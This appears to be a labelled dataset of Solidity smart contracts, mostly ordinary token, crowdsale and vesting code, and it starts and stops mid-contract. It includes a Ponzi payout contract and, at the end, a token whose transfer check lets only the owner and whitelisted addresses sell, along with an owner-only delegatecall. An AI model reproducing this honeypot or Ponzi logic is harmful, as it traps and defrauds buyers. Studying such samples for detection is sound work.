LamdenTau public tau;
address public sale;
function setPresale(address p) public onlyOwner { presale = p; }
function setTau(address t) public onlyOwner { tau = LamdenTau(t); }
function setSale(address s) public onlyOwner { sale = s; }
modifier onlyPresale {
require(msg.sender == presale);
_;
}
modifier onlySale {
require(msg.sender == sale);
_;
}
function acceptToken() public onlyPresale { tau.acceptOwnership(); }
function passOff() public onlySale { tau.transferOwnership(sale); }
}
contract Sale is CappedCrowdsale, Ownable {
using SafeMath for uint256;
uint256 public amountPerDay;
uint256 public constant UNIX_DAY = 86400;
bool public isFinalized = false;
event Finalized();
mapping (address => bool) public whitelist;
mapping (address => uint256) public amountContributedBy;
function Sale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _cap, address _wallet, uint256 _amountPerDay, address _tokenAddress)
Crowdsale(_startTime, _endTime, _rate, _wallet)
CappedCrowdsale(_cap)
{
amountPerDay = _amountPerDay;
token = LamdenTau(_tokenAddress);
}
function createTokenContract() internal returns (MintableToken) {
return LamdenTau(0x0);
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
bool withinContributionLimit = msg.value <= currentPersonalLimit(msg.sender);
bool valid = super.validPurchase() && withinCap && whitelist[msg.sender] && withinContributionLimit;
return valid;
}
function buyTokens(address beneficiary) public payable {
super.buyTokens(beneficiary);
amountContributedBy[msg.sender] = amountContributedBy[msg.sender].add(msg.value);
}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.finishMinting();
}
function daysSinceLaunch() public constant returns(uint256) {
return now.sub(startTime).div(UNIX_DAY);
}
function currentContributionLimit() public constant returns(uint256) {
return amountPerDay.mul(2 ** daysSinceLaunch());
}
function currentPersonalLimit(address _a) public constant returns(uint256) {
return currentContributionLimit().sub(amountContributedBy[_a]);
}
function claimToken(address _m) public onlyOwner returns(bool) {
Mediator m = Mediator(_m);
m.passOff();
token.acceptOwnership();
return true;
}
function whitelistUser(address _a) onlyOwner public returns(bool) {
whitelist[_a] = true;
return whitelist[_a];
}
function whitelistUsers(address[] users) external onlyOwner {
for (uint i = 0; i < users.length; i++) {
whitelist[users[i]] = true;
}
}
function unWhitelistUser(address _a) public onlyOwner returns(bool){
whitelist[_a] = false;
return whitelist[_a];
}
function unWhitelistUsers(address[] users) external onlyOwner {
for (uint i = 0; i < users.length; i++) {
whitelist[users[i]] = false;
}
}
function changeEndTime(uint256 _e) public onlyOwner returns(uint256) {
require(_e > startTime);
endTime = _e;
return endTime;
}
function mintTokens(uint256 tokenAmount) public onlyOwner {
require(!isFinalized);
token.mint(wallet, tokenAmount);
}
} | 1 | 4,990 |
contract ResetPonzi {
struct Person {
address addr;
}
struct NiceGuy {
address addr2;
}
Person[] public persons;
NiceGuy[] public niceGuys;
uint public payoutIdx = 0;
uint public currentNiceGuyIdx = 0;
uint public investor = 0;
address public currentNiceGuy;
address public beta;
function ResetPonzi() {
currentNiceGuy = msg.sender;
}
function() {
if (msg.value != 9 ether) {
throw;
}
if (investor < 8) {
uint idx = persons.length;
persons.length += 1;
persons[idx].addr = msg.sender;
}
if (investor > 7) {
uint ngidx = niceGuys.length;
niceGuys.length += 1;
niceGuys[ngidx].addr2 = msg.sender;
if (investor > 8 ) {
currentNiceGuy = niceGuys[currentNiceGuyIdx].addr2;
currentNiceGuyIdx += 1;
}
}
if (investor < 9) {
investor += 1;
}
else {
investor = 0;
}
currentNiceGuy.send(1 ether);
while (this.balance >= 10 ether) {
persons[payoutIdx].addr.send(10 ether);
payoutIdx += 1;
}
}
} | 0 | 2,308 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function batchTransfer(address[] _toList, uint256[] _tokensList) public returns (bool) {
require(_toList.length <= 100);
require(_toList.length == _tokensList.length);
uint256 sum = 0;
for (uint32 index = 0; index < _tokensList.length; index++) {
sum = sum.add(_tokensList[index]);
}
require (balances[msg.sender] >= sum);
for (uint32 i = 0; i < _toList.length; i++) {
transfer(_toList[i],_tokensList[i]);
}
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TokenVesting is StandardToken,Ownable {
using SafeMath for uint256;
event AddToVestMap(address vestcount);
event DelFromVestMap(address vestcount);
event Released(address vestcount,uint256 amount);
event Revoked(address vestcount);
struct tokenToVest{
bool exist;
uint256 start;
uint256 cliff;
uint256 duration;
uint256 torelease;
uint256 released;
}
mapping (address=>tokenToVest) vestToMap;
function addToVestMap(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _torelease
) public onlyOwner{
require(_beneficiary != address(0));
require(_cliff <= _duration);
require(_start > block.timestamp);
require(!vestToMap[_beneficiary].exist);
vestToMap[_beneficiary] = tokenToVest(true,_start,_start.add(_cliff),_duration,
_torelease,uint256(0));
emit AddToVestMap(_beneficiary);
}
function delFromVestMap(
address _beneficiary
) public onlyOwner{
require(_beneficiary != address(0));
require(vestToMap[_beneficiary].exist);
delete vestToMap[_beneficiary];
emit DelFromVestMap(_beneficiary);
}
function release(address _beneficiary) public {
tokenToVest storage value = vestToMap[_beneficiary];
require(value.exist);
uint256 unreleased = releasableAmount(_beneficiary);
require(unreleased > 0);
require(unreleased + value.released <= value.torelease);
vestToMap[_beneficiary].released = vestToMap[_beneficiary].released.add(unreleased);
transfer(_beneficiary, unreleased);
emit Released(_beneficiary,unreleased);
}
function releasableAmount(address _beneficiary) public view returns (uint256) {
return vestedAmount(_beneficiary).sub(vestToMap[_beneficiary].released);
}
function vestedAmount(address _beneficiary) public view returns (uint256) {
tokenToVest storage value = vestToMap[_beneficiary];
uint256 totalBalance = value.torelease;
if (block.timestamp < value.cliff) {
return 0;
} else if (block.timestamp >= value.start.add(value.duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(value.start)).div(value.duration);
}
}
}
contract PausableToken is TokenVesting, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function batchTransfer(address[] _toList, uint256[] _tokensList) public whenNotPaused returns (bool) {
return super.batchTransfer(_toList, _tokensList);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function release(address _beneficiary) public whenNotPaused{
super.release(_beneficiary);
}
}
contract DELCToken is BurnableToken, MintableToken, PausableToken {
string public name;
string public symbol;
uint8 public decimals;
constructor() public {
name = "DELC Relation Person Token";
symbol = "DELC";
decimals = 18;
totalSupply = 10000000000 * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
} | 1 | 3,685 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0;}
uint256 c = a * b; assert(c / a == b); return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;assert(c >= a);return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Standard is BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Payreum is ERC20Standard {
string public constant name = "Payreum";
string public constant symbol = "PYR";
uint8 public constant decimals = 18;
uint256 public constant maxSupply = 500000000 * (10 ** uint256(decimals));
uint256 public PYRToEth;
uint256 public ethInWei;
address public devWallet;
function Payreum () public {
totalSupply = maxSupply;
balances[msg.sender] = maxSupply;
PYRToEth = 200000;
devWallet = msg.sender;
}
function() payable{
ethInWei = ethInWei + msg.value;
uint256 amount = msg.value * PYRToEth;
if (balances[devWallet] < amount) {return;}
balances[devWallet] = balances[devWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(devWallet, msg.sender, amount);
devWallet.send(msg.value);
}
} | 0 | 2,096 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "CPH MQA";
string public constant TOKEN_SYMBOL = "CMQA";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x3ebe8A051dE462Effd29d485b7a7dA2B5C918106;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x3ebe8a051de462effd29d485b7a7da2b5c918106)];
uint[1] memory amounts = [uint(1000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,339 |
contract IToken {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transferViaProxy(address _from, address _to, uint _value) returns (uint error) {}
function transferFromViaProxy(address _source, address _from, address _to, uint256 _amount) returns (uint error) {}
function approveFromProxy(address _source, address _spender, uint256 _value) returns (uint error) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
function issueNewCoins(address _destination, uint _amount) returns (uint error){}
function issueNewHeldCoins(address _destination, uint _amount){}
function destroyOldCoins(address _destination, uint _amount) returns (uint error) {}
function takeTokensForBacking(address _destination, uint _amount){}
}
contract DestructionContract{
address public curator;
address public dev;
IToken tokenContract;
function DestructionContract(){
dev = msg.sender;
}
function destroy(uint _amount){
if (msg.sender != curator) throw;
tokenContract.destroyOldCoins(msg.sender, _amount);
}
function setDestructionCurator(address _curatorAdress){
if (msg.sender != dev) throw;
curator = _curatorAdress;
}
function setTokenContract(address _contractAddress){
if (msg.sender != curator) throw;
tokenContract = IToken(_contractAddress);
}
function killContract(){
if (msg.sender != dev) throw;
selfdestruct(dev);
}
function tokenAddress() constant returns (address tokenAddress){
return address(tokenContract);
}
} | 1 | 3,795 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] > _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
